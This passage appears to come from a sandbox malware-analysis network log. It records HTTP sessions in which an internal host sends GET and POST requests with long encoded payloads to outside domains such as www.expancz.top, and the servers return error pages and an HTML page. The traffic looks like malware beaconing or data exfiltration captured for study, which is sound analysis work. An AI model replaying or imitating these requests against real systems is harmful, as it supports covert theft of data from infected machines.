Jan 10, 2025 23:24:46.541872978 CET	1289	IN	Data Raw: 51 56 42 77 34 51 45 56 42 52 45 42 6b 4b 31 4e 41 78 70 53 70 34 69 59 6e 4f 58 61 75 58 57 72 61 30 75 6f 36 47 2f 4f 73 62 46 79 70 62 66 73 2f 79 61 35 72 7a 48 48 6c 32 54 53 6e 30 75 58 33 74 30 33 70 75 4e 65 74 76 65 33 68 47 48 4c 64 55 Data Ascii: QVBw4QEVBREBkK1NAxpSp4iYnOXauXWra0uo6G/OsbFypbfs/ya5rzHHl2TSn0uX3t03puNetve3hGHLdU8727v8v5rGxeXbhgMOMbSYwgQkwIGAQ0AQpt0Sru9VqhRaSHIjX37D3WvghhADC+Akz66b2f+/U/o7tLMy1No8LyAE8KVFmNLJlR3WdjdqqZZ/j7vqB3P5J2z+mYIE2dpLyUgAFD4A+31NpuR/tJc3/BpRBSpzajq
Jan 10, 2025 23:24:46.542000055 CET	1289	IN	Data Raw: 71 54 59 6e 54 71 43 65 63 6b 6c 71 32 48 75 58 39 6c 4c 72 6e 4e 59 65 62 34 56 66 41 50 71 74 6f 44 42 32 48 71 31 32 62 4b 2f 4c 74 65 61 55 57 6a 55 7a 6b 72 79 72 74 61 38 56 2f 39 53 47 45 6e 59 76 38 4f 50 51 55 42 36 49 47 69 48 68 65 66 Data Ascii: qTYnTqCecklq2HuX9lLrnNYeb4VfAPqtoDB2Hq12bK/LteaUWjUzkryrta8V/9SGEnYv8OPQUB6IGiHhefKm+7C7JxMYYI5blOUj66IuwFSC///2vrPv3p3SaF0hJMJFSiTc+ZO31pz0oRZVumx9iEJiLHFYlG1OdCGrRBmEUcD//99reva596W8Tz9IwRAHqHaKDWhpQBVplg/BCAyB7cDGsOuVp0Wa2K4C9uDfdiD/4bfpwGy
Jan 10, 2025 23:24:46.542164087 CET	1289	IN	Data Raw: 77 72 44 5a 6f 72 4f 72 6d 6b 48 73 59 4b 42 51 47 46 77 52 4b 48 68 57 4e 49 53 30 6f 6f 31 47 37 62 73 6c 44 31 4b 35 56 56 38 30 6f 31 4b 78 57 6b 34 6a 2b 5a 59 5a 4c 4e 61 47 57 30 6c 68 56 57 58 53 71 4d 7a 6d 43 77 32 68 38 73 54 43 45 56 Data Ascii: wrDZorOrmkHsYKBQGFwRKHhWNIS0oo1G7bslD1K5VV80o1KxWk4j+ZYZLNaGW0lhVWXSqMzmCw2h8sTCEViycf6d5C9WFNYBZIBioEf/Wtsj3lxi8LzExRVRa3UR+KpvpsUAfUYmCa4PnaArJmDqIbiFI5IJ0+XdJdeDJfgU/pwD0fC/usmPrdHvBMSkZKRU9RBz9KLGBiZmFlYk43HzsHJNfyii/WjFFjwKLzw8QuY6i+pWRZZ
Jan 10, 2025 23:24:46.713768005 CET	1289	IN	Data Raw: 6f 59 49 51 6c 53 4d 6e 4b 4b 44 67 53 45 49 4b 73 6b 43 6f 39 68 56 4e 70 57 56 53 4f 4c 79 51 49 32 69 4a 4f 67 31 44 41 44 78 5a 52 69 57 57 71 37 38 30 36 6d 43 6d 6f 4f 34 6a 69 4f 34 30 73 4f 56 42 64 35 4c 49 55 56 77 66 35 68 69 79 67 30 Data Ascii: oYIQlSMnKKDgSEIKskCo9hVNpWVSOLyQI2iJOg1DADxZRiWWq7806mCmoO4jiO40sOVBd5LIUVwf5hiyg0xtcT/JiGMI+6iCP5SkeN9As5QUsBkHyu3p0U+rSKbEhTm1zUWogNOE2DhxB5SGTkqFMMUcloQe/1OahOui50n9zDd6dFWzEPHFWn4yU+wdRtQ5UG08lNJDGPhJSMnKKAqPFV/3ud7XH1PatQiZqGli7pUQZGJmYW1

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.11.20	49814	161.97.142.144	80

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:26:17.476731062 CET	542	OUT	GET /gebt/?oRQ0=OV24X0&kR8XbB2P=vv4Z5oAEVW8Fnw5/zn34qddpesTmADAa7eW6m5kMXrJjwDKHwLvNIch6hCLbwWC7cjqqbjXxYb26MUHQV2edm3lgIJJElGJSFpRc3yLJsQRBHErejb5RRes= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.070001325.xyz Connection: close User-Agent: Mozilla/5.0 (Linux; Android 5.1; XT1055 Build/LPA23.12-21-1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36
Jan 10, 2025 23:26:17.689002991 CET	1289	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 10 Jan 2025 22:26:17 GMT Content-Type: text/html; charset=utf-8 Content-Length: 2966 Connection: close Vary: Accept-Encoding ETag: "66cce1df-b96" Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 62 6f 64 79 20 7b 0a 09 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 35 66 35 66 35 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 38 25 3b 0a 09 09 09 09 63 6f 6c 6f 72 3a 20 23 35 64 35 64 35 64 3b 0a 09 09 09 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 20 42 6c 69 6e 6b 4d 61 63 53 79 73 74 65 6d 46 6f 6e 74 2c 20 22 53 65 67 6f 65 20 55 49 22 2c 20 52 6f 62 6f 74 6f 2c 20 22 48 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1" /><title>Page Not Found</title><style>body {background-color: #f5f5f5;margin-top: 8%;color: #5d5d5d;font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial,"Noto Sans", sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol","Noto Color Emoji";text-shadow: 0px 1px 1px rgba(255, 255, 255, 0.75);text-align: center;}h1 {font-size: 2.45em;font-weight: 700;color: #5d5d5d;letter-spacing: -0.02em;margin-bottom: 30px;margin-top: 30px;}.container {width: 100%;margin-right: auto;margin-left: auto;}.animate__animated {animation-duration: 1s;animation-fill-mode: both;}.animate__fadeIn {animation-name: fadeIn;}.info {color: #5594cf;fill: #5594cf;}.error [TRUNCATED]
Jan 10, 2025 23:26:17.689088106 CET	1289	IN	Data Raw: 66 66 63 63 33 33 3b 0a 09 09 09 09 66 69 6c 6c 3a 20 23 66 66 63 63 33 33 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 73 75 63 63 65 73 73 20 7b 0a 09 09 09 09 63 6f 6c 6f 72 3a 20 23 35 61 62 61 34 37 3b 0a 09 09 09 09 66 69 6c 6c 3a 20 23 35 61 62 61 Data Ascii: ffcc33;fill: #ffcc33;}.success {color: #5aba47;fill: #5aba47;}.icon-large {height: 132px;width: 132px;}.description-text {color: #707070;letter-spacing: -0.01em;font-size: 1.25
Jan 10, 2025 23:26:17.689168930 CET	592	IN	Data Raw: 37 20 30 2d 35 38 2e 30 30 32 2d 36 30 2e 31 36 35 2d 31 30 32 2d 31 31 36 2e 35 33 31 2d 31 30 32 7a 4d 32 35 36 20 33 33 38 63 2d 32 35 2e 33 36 35 20 30 2d 34 36 20 32 30 2e 36 33 35 2d 34 36 20 34 36 20 30 20 32 35 2e 33 36 34 20 32 30 2e 36 Data Ascii: 7 0-58.002-60.165-102-116.531-102zM256 338c-25.365 0-46 20.635-46 46 0 25.364 20.635 46 46 46s46-20.636 46-46c0-25.365-20.635-46-46-46z"></path></svg></div><h1 class="animate__animated animate__fadeIn">Page Not Found

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.11.20	49815	107.155.56.30	80

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:26:23.032587051 CET	807	OUT	POST /2gcl/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.expancz.top Origin: http://www.expancz.top Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 205 Cache-Control: max-age=0 Referer: http://www.expancz.top/2gcl/ User-Agent: Mozilla/5.0 (Linux; Android 5.1; XT1055 Build/LPA23.12-21-1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 6b 52 38 58 62 42 32 50 3d 34 4b 4d 4d 57 76 4a 58 74 4e 49 44 78 33 4b 7a 73 6f 71 45 5a 64 74 68 31 76 42 58 57 71 48 55 58 54 75 39 45 2b 59 50 50 65 45 70 75 41 4a 49 7a 4c 76 73 47 62 62 2b 31 78 7a 78 51 56 63 38 74 4d 56 6b 55 38 62 61 34 49 6b 46 33 4d 44 63 31 74 4a 6f 41 75 7a 5a 36 67 45 4e 54 52 6f 69 65 6d 65 4f 4e 59 2f 70 63 54 67 49 52 66 58 72 69 4a 54 37 32 75 46 30 65 48 42 53 77 76 6d 78 4f 77 71 76 71 70 34 61 54 59 4b 79 6e 6f 4d 69 65 6e 66 42 47 36 4d 65 59 2b 63 50 34 70 6b 4c 54 42 4a 4f 52 78 57 4a 6d 4a 56 5a 36 5a 46 6c 67 72 76 6b 77 77 48 37 73 2b 68 63 63 32 4a 74 6e 51 3d 3d Data Ascii: kR8XbB2P=4KMMWvJXtNIDx3KzsoqEZdth1vBXWqHUXTu9E+YPPeEpuAJIzLvsGbb+1xzxQVc8tMVkU8ba4IkF3MDc1tJoAuzZ6gENTRoiemeONY/pcTgIRfXriJT72uF0eHBSwvmxOwqvqp4aTYKynoMienfBG6MeY+cP4pkLTBJORxWJmJVZ6ZFlgrvkwwH7s+hcc2JtnQ==
Jan 10, 2025 23:26:23.356756926 CET	697	IN	HTTP/1.1 405 Not Allowed Server: nginx Date: Fri, 10 Jan 2025 22:26:23 GMT Content-Type: text/html Content-Length: 552 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 [TRUNCATED] Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.11.20	49816	107.155.56.30	80

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:26:25.891320944 CET	827	OUT	POST /2gcl/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.expancz.top Origin: http://www.expancz.top Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 225 Cache-Control: max-age=0 Referer: http://www.expancz.top/2gcl/ User-Agent: Mozilla/5.0 (Linux; Android 5.1; XT1055 Build/LPA23.12-21-1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 6b 52 38 58 62 42 32 50 3d 34 4b 4d 4d 57 76 4a 58 74 4e 49 44 79 57 61 7a 71 4a 71 45 62 39 74 69 77 76 42 58 59 36 48 51 58 55 6d 39 45 2f 64 4b 50 73 67 70 67 43 52 49 79 4f 54 73 49 37 62 2b 2b 52 7a 30 55 56 63 37 74 4d 59 5a 55 34 62 61 34 4d 45 46 33 49 50 63 31 65 68 6e 44 65 7a 62 68 51 45 50 4d 68 6f 69 65 6d 65 4f 4e 59 44 50 63 53 49 49 52 73 50 72 77 39 48 34 31 75 46 33 5a 48 42 53 30 76 6d 4c 4f 77 71 64 71 6f 6b 77 54 61 79 79 6e 73 41 69 65 32 66 43 52 4b 4d 45 63 2b 63 5a 32 4b 4e 6c 62 43 56 43 63 78 53 4c 68 49 4a 35 79 76 49 2f 39 5a 62 41 7a 6a 62 4a 6f 4f 59 30 65 30 49 32 36 64 4d 58 52 46 56 50 30 56 63 36 63 45 68 53 79 70 2b 7a 62 48 49 3d Data Ascii: kR8XbB2P=4KMMWvJXtNIDyWazqJqEb9tiwvBXY6HQXUm9E/dKPsgpgCRIyOTsI7b++Rz0UVc7tMYZU4ba4MEF3IPc1ehnDezbhQEPMhoiemeONYDPcSIIRsPrw9H41uF3ZHBS0vmLOwqdqokwTayynsAie2fCRKMEc+cZ2KNlbCVCcxSLhIJ5yvI/9ZbAzjbJoOY0e0I26dMXRFVP0Vc6cEhSyp+zbHI=
Jan 10, 2025 23:26:26.216300011 CET	697	IN	HTTP/1.1 405 Not Allowed Server: nginx Date: Fri, 10 Jan 2025 22:26:26 GMT Content-Type: text/html Content-Length: 552 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 [TRUNCATED] Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.11.20	49817	107.155.56.30	80

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:26:28.757991076 CET	1289	OUT	POST /2gcl/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.expancz.top Origin: http://www.expancz.top Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 7373 Cache-Control: max-age=0 Referer: http://www.expancz.top/2gcl/ User-Agent: Mozilla/5.0 (Linux; Android 5.1; XT1055 Build/LPA23.12-21-1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 6b 52 38 58 62 42 32 50 3d 34 4b 4d 4d 57 76 4a 58 74 4e 49 44 79 57 61 7a 71 4a 71 45 62 39 74 69 77 76 42 58 59 36 48 51 58 55 6d 39 45 2f 64 4b 50 73 6f 70 67 78 5a 49 7a 70 48 73 4c 37 62 2b 7a 78 7a 31 55 56 63 71 74 4d 41 56 55 35 6d 74 34 4b 49 46 78 62 48 63 6c 76 68 6e 59 4f 7a 62 2b 67 45 4d 54 52 6f 7a 65 6d 4f 4b 4e 59 7a 50 63 53 49 49 52 72 33 72 79 70 54 34 7a 75 46 30 65 48 42 57 77 76 6e 46 4f 30 47 4e 71 6f 51 4b 54 4c 53 79 69 34 73 69 63 45 48 43 54 71 4d 61 53 65 64 61 32 4b 52 6d 62 43 49 37 63 78 6d 68 68 4b 70 35 33 37 5a 2b 68 36 76 69 6c 51 33 6a 31 4f 73 6f 59 6b 51 45 31 4f 51 54 61 45 78 55 74 68 41 53 54 43 74 2b 70 72 53 55 43 43 66 48 76 61 65 32 66 7a 30 32 78 50 57 32 58 76 69 6b 6c 72 50 32 66 49 4d 6a 77 32 50 6b 66 6b 4e 54 42 50 69 48 37 6f 33 47 35 54 34 70 48 59 62 43 52 45 73 71 2b 31 45 64 63 76 73 4b 71 64 6f 34 63 7a 72 6b 62 75 34 30 37 2f 46 67 45 73 4b 6a 45 61 55 6a 53 50 4d 52 2f 6f 4b 36 4c 55 44 43 5a 4c 64 36 6a 46 78 4e 46 47 74 71 48 57 66 5a 5a [TRUNCATED] Data Ascii: kR8XbB2P=4KMMWvJXtNIDyWazqJqEb9tiwvBXY6HQXUm9E/dKPsopgxZIzpHsL7b+zxz1UVcqtMAVU5mt4KIFxbHclvhnYOzb+gEMTRozemOKNYzPcSIIRr3rypT4zuF0eHBWwvnFO0GNqoQKTLSyi4sicEHCTqMaSeda2KRmbCI7cxmhhKp537Z+h6vilQ3j1OsoYkQE1OQTaExUthASTCt+prSUCCfHvae2fz02xPW2XviklrP2fIMjw2PkfkNTBPiH7o3G5T4pHYbCREsq+1EdcvsKqdo4czrkbu407/FgEsKjEaUjSPMR/oK6LUDCZLd6jFxNFGtqHWfZZ3GEMmg2EOT/4/5F+IbjzvHyiG/jVWXmbYU5yHJstweQgCp7TczE88q337uWr6VYKM47fwJOeb+kYdnu7bq22Wh7Oy/qev8MbrVLEqTZRv5ojHFmlIp9jY03NI1ycMtjdG8b1uioZCHfcW24pfpPLBHmaWcqtGyoxSGoESXL+p/QItjKapaTpZyfWbr00Hiq+3muI4CPCHVSdA7AUwMtSHmlYkN2eOwNyDE1AQRToCykwQlOGCzItSHifxbAgz0EjUxj9+9IB1RPDX7EdDAZVkwqC0EUW7u99ICLv9NSWnQKNhW5x2ZzpH2nezb8LCKMGCxD80XgGQBbDtl4HZRFoSnRV3OIT
Jan 10, 2025 23:26:28.758038998 CET	1289	OUT	Data Raw: 4c 2b 55 56 67 67 2f 54 47 44 34 61 2f 58 61 62 54 72 75 46 62 62 4a 45 5a 4b 63 67 4f 6d 66 34 74 6f 75 34 4b 2b 6f 53 43 47 65 6f 32 38 69 57 58 41 67 53 32 65 34 30 70 71 63 49 33 2f 46 4f 74 6a 33 75 53 49 59 38 50 2f 53 75 74 6b 61 42 69 6e Data Ascii: L+UVgg/TGD4a/XabTruFbbJEZKcgOmf4tou4K+oSCGeo28iWXAgS2e40pqcI3/FOtj3uSIY8P/SutkaBinIf14QR3NrG6RYpWTMPMEBe3OFRJVAWFemgMW8TdMuE+/YxqHsIbBg0ko8mH773RlanXGd1gsL9Ech5WsI1cXJjR52WR7x6GXqBNnazwnZA5bTQ0BSVhFnmSq0Hm37zny+uy7jt/9jn1S5UJdRjHBp4KW3PczBuUPc
Jan 10, 2025 23:26:28.758090019 CET	5398	OUT	Data Raw: 57 37 59 77 35 76 46 37 6c 70 52 76 53 62 69 2b 57 79 38 57 74 4e 63 53 4f 54 61 75 37 68 61 57 30 4c 4d 74 68 2f 68 6b 63 36 75 6d 42 52 6b 33 53 4f 78 37 42 39 6a 41 7a 43 75 58 4b 70 42 53 55 72 43 51 68 41 2b 74 49 2f 37 58 2b 30 44 32 4f 50 Data Ascii: W7Yw5vF7lpRvSbi+Wy8WtNcSOTau7haW0LMth/hkc6umBRk3SOx7B9jAzCuXKpBSUrCQhA+tI/7X+0D2OPoeuDUsV0btVVcC0edG367Xz8Tg/EmAAGsECuymDPGrbRNmWqIrv1M/ZjEkU265aheknJaaYL5sz+NTbdJ+bUsNaBadcWm9szYo1YXAmVs0Jzgj0CmbULj+m60AvUislGfYVqI7L+I3R2JWVNBMTs727CjWqRmOPEc
Jan 10, 2025 23:26:29.089462996 CET	697	IN	HTTP/1.1 405 Not Allowed Server: nginx Date: Fri, 10 Jan 2025 22:26:28 GMT Content-Type: text/html Content-Length: 552 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 [TRUNCATED] Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.11.20	49818	107.155.56.30	80

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:26:31.626949072 CET	540	OUT	GET /2gcl/?kR8XbB2P=1IksVaFM1cAemyK1l5ibYOVg5dxMTrzYdVbJCfEKBOY5tDFEgZGIVKjooGjxZE8Rq+UWfqPa15shq7PO0tNmdeev1y5xTRUReV/PBfbDdzVIdNqY/oiP6dc=&oRQ0=OV24X0 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.expancz.top Connection: close User-Agent: Mozilla/5.0 (Linux; Android 5.1; XT1055 Build/LPA23.12-21-1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36
Jan 10, 2025 23:26:31.958420038 CET	1289	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 22:26:31 GMT Content-Type: text/html Content-Length: 9651 Last-Modified: Fri, 15 Nov 2024 02:47:44 GMT Connection: close Vary: Accept-Encoding ETag: "6736b650-25b3" Accept-Ranges: bytes Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 6b 65 79 77 6f 72 64 73 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 64 65 73 63 72 69 70 74 69 6f 6e 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 6f 67 3a 74 79 70 65 20 63 6f 6e 74 65 6e 74 3d 77 65 62 73 69 74 65 3e 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 6f 67 3a 74 69 74 6c 65 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 6f 67 3a 64 65 73 63 72 69 70 74 69 6f 6e 20 63 6f 6e 74 65 6e 74 3d [TRUNCATED] Data Ascii: <!DOCTYPE html><html><head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1,maximum-scale=1,minimum-scale=1,user-scalable=no"><meta name=keywords content=""><meta name=description content=""><meta property=og:type content=website><meta property=og:title content=""><meta property=og:description content=""><meta property=og:url content=""><meta property=og:image content=""><meta name=HandheldFriendly content=true><meta name=apple-mobile-web-app-capable content=yes><meta name=apple-mobile-web-app-status-bar-style content=black><meta name=format-detection content="telphone=no, email=no"><meta name=screen-orientation content=portrait><meta name=x5-orientation content=portrait><meta name=full-screen content=yes><meta name=x5-fullscreen content=true><meta name=browsermode content=application><meta name=x5-page-mode content=app><meta name=msapplication-tap-highlight content=no><meta http-equiv=X-UA-Compatible content="ie=edge"><link href=https://l3filejson4dvd.josyliving [TRUNCATED]
Jan 10, 2025 23:26:31.958664894 CET	1289	IN	Data Raw: 65 2f 78 2d 69 63 6f 6e 20 72 65 6c 3d 69 63 6f 6e 3e 3c 73 74 79 6c 65 3e 23 50 4f 50 38 30 30 5f 49 4e 49 54 5f 44 49 56 20 7b 0a 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 20 20 20 20 7d 0a 20 Data Ascii: e/x-icon rel=icon><style>#POP800_INIT_DIV { display: none!important; } #POP800_PANEL_DIV { display: none!important; } #POP800_LEAVEWORD_DIV { display: none!important; }</style><script>var isAtm = false;
